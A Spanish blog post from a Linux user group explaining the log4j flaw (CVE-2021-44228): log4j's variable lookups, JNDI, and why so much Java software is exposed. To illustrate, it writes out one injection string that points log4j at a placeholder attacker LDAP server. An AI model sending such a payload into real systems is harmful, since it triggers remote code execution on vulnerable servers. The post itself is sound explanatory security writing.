Grupo Linuxero del Bajío

¿qué pasó con log4j?

Víctor Manuel Jáquez Leal

Para estas alturas posiblemente todos ya estarán enterados del fallo de seguridad en log4j[1], aunque creo que vale la pena repasarlo.

Todo software más o menos complejo registra los eventos que le conciernen. La forma más simple de registrar estos eventos, sería imprimir en la salida estándar o de error un mensaje, humanamente legible, describiendo el evento en cuestión. Pero el registro de eventos puede complicarse al grado de que existen bibliotecas de software específicas que abstraen esta actividad. Hay bibliotecas de “logging” (como se conoce al registro de eventos) para todos los lenguajes, y log4j[2] es uno de los disponibles para Java.

¿En qué consiste el bug?

En pocas palabras, log4j “parsea” los mensajes a registrar en búsqueda de variables que puede reemplazar. Por ejemplo, el programador loggea este mensaje:

logger.info(“El usuario” + user + ” ha entrado”).

Entonces log4j parsea la cadena y sabe que la variable user, en el estado actual de la aplicación es “ceyusa”, por lo que finalmente escribe en bitácora

12:38:10.234 [main] INFO Main - El usuario ‘ceyusa’ ha entrado

Esto es muy útil, pero como todos los datos proveeidos por el usuario, son potencialmente peligrosos, máxime si éstos viajan por red.

Supongamos que el usuario puede cambiar su nombre de usuario de “ceyusa” a “${java:version}”. log4j parseará esa cadena y verá que es un programa en java que ejectua, por lo que el resultado será:

12:38:10.234 [main] INFO Main - El usuario ‘Java version 1.8.0_213’ ha entrado

Por otro lado, hay una cosa en Java que se llama JNDI: Java Naming and Directory Interface[3]. Es una interfaz para indicar, a la máquina virtual de Java, la localización de un recurso remoto, por ejemplo una base de datos, un Enterprise Java Bean, etcétera. Uno de los usos más comunes es obtener información de un directorio a través del protocol LDAP.

En nuestro ejemplo, el usuario podría cambiar su nombre de usuario por ‘${jndi:ldap://malicioso.com:1389/123}’. Lo que haría log4j sería parsear esa cadena y ejectuarla. Al usar la API de JNDI, sabrá que el contenido de esa variable se encuentra en un servidor remoto, llamado malicioso.com, usando el protocolo LDAP y obtendrá el registro con la llave 123. Este servidor remoto puede estar bajo control del atacante y devolverá una cadena que se ejecutará dentro de la máquina virtual de Java que ejecuta de nuestra inocente aplicación, como, por ejemplo, lanzar una terminal en un puerto TCP (el típico remote backdoor).

¿Por qué es tan reelevante?

  1. Hay un montón de software en Java, legacy, sin mantener, ejecutándose en internet, usando una versión vulnerable de log4j.
  2. Hay un montón de software en Java, mantenido, pero que tiene una dependencia fuerte a un framework que usa una versión vulnerable de log4j.
  3. Hay demasiado software en Java, como en bancos, controladores aeropuertuarios, etc.

Finalmente, nos remite al cartón de XKCD[4] sobre tener dependencias profundas de software, en sistemas complejos. O, al otro, clásico, sobre no confiar, nunca, en lo absoluto, en las entradas del sistema[5].

Es más, hay quien toma esta situación como argumento para evitar esos grantes frameworks totalizantes, y que sólo el lenguaje de programación sea nuestro framework[6].

  1. https://nvd.nist.gov/vuln/detail/CVE-2021-44228
  2. https://logging.apache.org/log4j/2.x/
  3. https://docs.oracle.com/javase/tutorial/jndi/overview/index.html
  4. https://xkcd.com/2347/
  5. https://xkcd.com/327/
  6. https://twitter.com/tomaka17/status/1470022487790571522